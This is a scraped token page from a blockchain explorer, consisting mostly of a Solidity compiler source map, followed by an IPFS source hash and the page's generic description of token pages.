;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7419:75;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7406:88;;7512:48;7529:4;7535:2;7539:20;7549:9;;;;;;;;;;;7539;:20::i;:::-;7512:16;:48::i;:::-;7505:55;;;7324:244;;;:::o;5542:208::-;5615:4;5639:103;5649:4;5655:9;5684:7;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5666:44;;;5719:4;5726:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5666:75;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5639:9;:103::i;:::-;5632:110;;5542:208;;;;:::o;467:246::-;525:7;554:1;549;:6;545:47;;579:1;572:8;;;;545:47;602:9;618:1;614;:5;;;;:::i;:::-;602:17;;647:1;642;638;:5;;;;:::i;:::-;:10;630:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;704:1;697:8;;;467:246;;;;;:::o;719:177::-;777:7;809:1;805;:5;797:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;852:9;868:1;864;:5;;;;:::i;:::-;852:17;;887:1;880:8;;;719:177;;;;:::o;7574:318::-;7679:7;7699:14;7716:9;7699:26;;7753:9;7740:22;;:9;:22;;;7736:125;;7788:9;7779:18;;7736:125;;;7848:1;7839:6;:10;;;;:::i;:::-;7830:19;;7736:125;7878:6;7871:13;;;7574:318;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:116::-;4493:21;4508:5;4493:21;:::i;:::-;4486:5;4483:32;4473:60;;4529:1;4526;4519:12;4473:60;4423:116;:::o;4545:133::-;4588:5;4626:6;4613:20;4604:29;;4642:30;4666:5;4642:30;:::i;:::-;4545:133;;;;:::o;4684:323::-;4740:6;4789:2;4777:9;4768:7;4764:23;4760:32;4757:119;;;4795:79;;:::i;:::-;4757:119;4915:1;4940:50;4982:7;4973:6;4962:9;4958:22;4940:50;:::i;:::-;4930:60;;4886:114;4684:323;;;;:::o;5013:117::-;5122:1;5119;5112:12;5136:117;5245:1;5242;5235:12;5259:117;5368:1;5365;5358:12;5399:568;5472:8;5482:6;5532:3;5525:4;5517:6;5513:17;5509:27;5499:122;;5540:79;;:::i;:::-;5499:122;5653:6;5640:20;5630:30;;5683:18;5675:6;5672:30;5669:117;;;5705:79;;:::i;:::-;5669:117;5819:4;5811:6;5807:17;5795:29;;5873:3;5865:4;5857:6;5853:17;5843:8;5839:32;5836:41;5833:128;;;5880:79;;:::i;:::-;5833:128;5399:568;;;;;:::o;5973:559::-;6059:6;6067;6116:2;6104:9;6095:7;6091:23;6087:32;6084:119;;;6122:79;;:::i;:::-;6084:119;6270:1;6259:9;6255:17;6242:31;6300:18;6292:6;6289:30;6286:117;;;6322:79;;:::i;:::-;6286:117;6435:80;6507:7;6498:6;6487:9;6483:22;6435:80;:::i;:::-;6417:98;;;;6213:312;5973:559;;;;;:::o;6538:329::-;6597:6;6646:2;6634:9;6625:7;6621:23;6617:32;6614:119;;;6652:79;;:::i;:::-;6614:119;6772:1;6797:53;6842:7;6833:6;6822:9;6818:22;6797:53;:::i;:::-;6787:63;;6743:117;6538:329;;;;:::o;6873:118::-;6960:24;6978:5;6960:24;:::i;:::-;6955:3;6948:37;6873:118;;:::o;6997:222::-;7090:4;7128:2;7117:9;7113:18;7105:26;;7141:71;7209:1;7198:9;7194:17;7185:6;7141:71;:::i;:::-;6997:222;;;;:::o;7225:474::-;7293:6;7301;7350:2;7338:9;7329:7;7325:23;7321:32;7318:119;;;7356:79;;:::i;:::-;7318:119;7476:1;7501:53;7546:7;7537:6;7526:9;7522:22;7501:53;:::i;:::-;7491:63;;7447:117;7603:2;7629:53;7674:7;7665:6;7654:9;7650:22;7629:53;:::i;:::-;7619:63;;7574:118;7225:474;;;;;:::o;7705:619::-;7782:6;7790;7798;7847:2;7835:9;7826:7;7822:23;7818:32;7815:119;;;7853:79;;:::i;:::-;7815:119;7973:1;7998:53;8043:7;8034:6;8023:9;8019:22;7998:53;:::i;:::-;7988:63;;7944:117;8100:2;8126:53;8171:7;8162:6;8151:9;8147:22;8126:53;:::i;:::-;8116:63;;8071:118;8228:2;8254:53;8299:7;8290:6;8279:9;8275:22;8254:53;:::i;:::-;8244:63;;8199:118;7705:619;;;;;:::o;8330:180::-;8378:77;8375:1;8368:88;8475:4;8472:1;8465:15;8499:4;8496:1;8489:15;8516:320;8560:6;8597:1;8591:4;8587:12;8577:22;;8644:1;8638:4;8634:12;8665:18;8655:81;;8721:4;8713:6;8709:17;8699:27;;8655:81;8783:2;8775:6;8772:14;8752:18;8749:38;8746:84;;8802:18;;:::i;:::-;8746:84;8567:269;8516:320;;;:::o;8842:180::-;8890:77;8887:1;8880:88;8987:4;8984:1;8977:15;9011:4;9008:1;9001:15;9028:191;9068:3;9087:20;9105:1;9087:20;:::i;:::-;9082:25;;9121:20;9139:1;9121:20;:::i;:::-;9116:25;;9164:1;9161;9157:9;9150:16;;9185:3;9182:1;9179:10;9176:36;;;9192:18;;:::i;:::-;9176:36;9028:191;;;;:::o;9225:182::-;9365:34;9361:1;9353:6;9349:14;9342:58;9225:182;:::o;9413:366::-;9555:3;9576:67;9640:2;9635:3;9576:67;:::i;:::-;9569:74;;9652:93;9741:3;9652:93;:::i;:::-;9770:2;9765:3;9761:12;9754:19;;9413:366;;;:::o;9785:419::-;9951:4;9989:2;9978:9;9974:18;9966:26;;10038:9;10032:4;10028:20;10024:1;10013:9;10009:17;10002:47;10066:131;10192:4;10066:131;:::i;:::-;10058:139;;9785:419;;;:::o;10210:180::-;10258:77;10255:1;10248:88;10355:4;10352:1;10345:15;10379:4;10376:1;10369:15;10396:233;10435:3;10458:24;10476:5;10458:24;:::i;:::-;10449:33;;10504:66;10497:5;10494:77;10491:103;;10574:18;;:::i;:::-;10491:103;10621:1;10614:5;10610:13;10603:20;;10396:233;;;:::o;10635:194::-;10675:4;10695:20;10713:1;10695:20;:::i;:::-;10690:25;;10729:20;10747:1;10729:20;:::i;:::-;10724:25;;10773:1;10770;10766:9;10758:17;;10797:1;10791:4;10788:11;10785:37;;;10802:18;;:::i;:::-;10785:37;10635:194;;;;:::o;10835:224::-;10975:34;10971:1;10963:6;10959:14;10952:58;11044:7;11039:2;11031:6;11027:15;11020:32;10835:224;:::o;11065:366::-;11207:3;11228:67;11292:2;11287:3;11228:67;:::i;:::-;11221:74;;11304:93;11393:3;11304:93;:::i;:::-;11422:2;11417:3;11413:12;11406:19;;11065:366;;;:::o;11437:419::-;11603:4;11641:2;11630:9;11626:18;11618:26;;11690:9;11684:4;11680:20;11676:1;11665:9;11661:17;11654:47;11718:131;11844:4;11718:131;:::i;:::-;11710:139;;11437:419;;;:::o;11862:222::-;12002:34;11998:1;11990:6;11986:14;11979:58;12071:5;12066:2;12058:6;12054:15;12047:30;11862:222;:::o;12090:366::-;12232:3;12253:67;12317:2;12312:3;12253:67;:::i;:::-;12246:74;;12329:93;12418:3;12329:93;:::i;:::-;12447:2;12442:3;12438:12;12431:19;;12090:366;;;:::o;12462:419::-;12628:4;12666:2;12655:9;12651:18;12643:26;;12715:9;12709:4;12705:20;12701:1;12690:9;12686:17;12679:47;12743:131;12869:4;12743:131;:::i;:::-;12735:139;;12462:419;;;:::o;12887:180::-;12935:77;12932:1;12925:88;13032:4;13029:1;13022:15;13056:4;13053:1;13046:15;13073:143;13130:5;13161:6;13155:13;13146:22;;13177:33;13204:5;13177:33;:::i;:::-;13073:143;;;;:::o;13222:351::-;13292:6;13341:2;13329:9;13320:7;13316:23;13312:32;13309:119;;;13347:79;;:::i;:::-;13309:119;13467:1;13492:64;13548:7;13539:6;13528:9;13524:22;13492:64;:::i;:::-;13482:74;;13438:128;13222:351;;;;:::o;13579:85::-;13624:7;13653:5;13642:16;;13579:85;;;:::o;13670:60::-;13698:3;13719:5;13712:12;;13670:60;;;:::o;13736:158::-;13794:9;13827:61;13845:42;13854:32;13880:5;13854:32;:::i;:::-;13845:42;:::i;:::-;13827:61;:::i;:::-;13814:74;;13736:158;;;:::o;13900:147::-;13995:45;14034:5;13995:45;:::i;:::-;13990:3;13983:58;13900:147;;:::o;14053:114::-;14120:6;14154:5;14148:12;14138:22;;14053:114;;;:::o;14173:184::-;14272:11;14306:6;14301:3;14294:19;14346:4;14341:3;14337:14;14322:29;;14173:184;;;;:::o;14363:132::-;14430:4;14453:3;14445:11;;14483:4;14478:3;14474:14;14466:22;;14363:132;;;:::o;14501:108::-;14578:24;14596:5;14578:24;:::i;:::-;14573:3;14566:37;14501:108;;:::o;14615:179::-;14684:10;14705:46;14747:3;14739:6;14705:46;:::i;:::-;14783:4;14778:3;14774:14;14760:28;;14615:179;;;;:::o;14800:113::-;14870:4;14902;14897:3;14893:14;14885:22;;14800:113;;;:::o;14949:732::-;15068:3;15097:54;15145:5;15097:54;:::i;:::-;15167:86;15246:6;15241:3;15167:86;:::i;:::-;15160:93;;15277:56;15327:5;15277:56;:::i;:::-;15356:7;15387:1;15372:284;15397:6;15394:1;15391:13;15372:284;;;15473:6;15467:13;15500:63;15559:3;15544:13;15500:63;:::i;:::-;15493:70;;15586:60;15639:6;15586:60;:::i;:::-;15576:70;;15432:224;15419:1;15416;15412:9;15407:14;;15372:284;;;15376:14;15672:3;15665:10;;15073:608;;;14949:732;;;;:::o;15687:831::-;15950:4;15988:3;15977:9;15973:19;15965:27;;16002:71;16070:1;16059:9;16055:17;16046:6;16002:71;:::i;:::-;16083:80;16159:2;16148:9;16144:18;16135:6;16083:80;:::i;:::-;16210:9;16204:4;16200:20;16195:2;16184:9;16180:18;16173:48;16238:108;16341:4;16332:6;16238:108;:::i;:::-;16230:116;;16356:72;16424:2;16413:9;16409:18;16400:6;16356:72;:::i;:::-;16438:73;16506:3;16495:9;16491:19;16482:6;16438:73;:::i;:::-;15687:831;;;;;;;;:::o;16524:332::-;16645:4;16683:2;16672:9;16668:18;16660:26;;16696:71;16764:1;16753:9;16749:17;16740:6;16696:71;:::i;:::-;16777:72;16845:2;16834:9;16830:18;16821:6;16777:72;:::i;:::-;16524:332;;;;;:::o;16862:410::-;16902:7;16925:20;16943:1;16925:20;:::i;:::-;16920:25;;16959:20;16977:1;16959:20;:::i;:::-;16954:25;;17014:1;17011;17007:9;17036:30;17054:11;17036:30;:::i;:::-;17025:41;;17215:1;17206:7;17202:15;17199:1;17196:22;17176:1;17169:9;17149:83;17126:139;;17245:18;;:::i;:::-;17126:139;16910:362;16862:410;;;;:::o;17278:180::-;17326:77;17323:1;17316:88;17423:4;17420:1;17413:15;17447:4;17444:1;17437:15;17464:185;17504:1;17521:20;17539:1;17521:20;:::i;:::-;17516:25;;17555:20;17573:1;17555:20;:::i;:::-;17550:25;;17594:1;17584:35;;17599:18;;:::i;:::-;17584:35;17641:1;17638;17634:9;17629:14;;17464:185;;;;:::o;17655:220::-;17795:34;17791:1;17783:6;17779:14;17772:58;17864:3;17859:2;17851:6;17847:15;17840:28;17655:220;:::o;17881:366::-;18023:3;18044:67;18108:2;18103:3;18044:67;:::i;:::-;18037:74;;18120:93;18209:3;18120:93;:::i;:::-;18238:2;18233:3;18229:12;18222:19;;17881:366;;;:::o;18253:419::-;18419:4;18457:2;18446:9;18442:18;18434:26;;18506:9;18500:4;18496:20;18492:1;18481:9;18477:17;18470:47;18534:131;18660:4;18534:131;:::i;:::-;18526:139;;18253:419;;;:::o;18678:176::-;18818:28;18814:1;18806:6;18802:14;18795:52;18678:176;:::o;18860:366::-;19002:3;19023:67;19087:2;19082:3;19023:67;:::i;:::-;19016:74;;19099:93;19188:3;19099:93;:::i;:::-;19217:2;19212:3;19208:12;19201:19;;18860:366;;;:::o;19232:419::-;19398:4;19436:2;19425:9;19421:18;19413:26;;19485:9;19479:4;19475:20;19471:1;19460:9;19456:17;19449:47;19513:131;19639:4;19513:131;:::i;:::-;19505:139;;19232:419;;;:::o

Swarm Source

ipfs://d1d441e5409e1bcdb04503045e714f841ce7eebf0e4b61b584096c40cf7788c3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.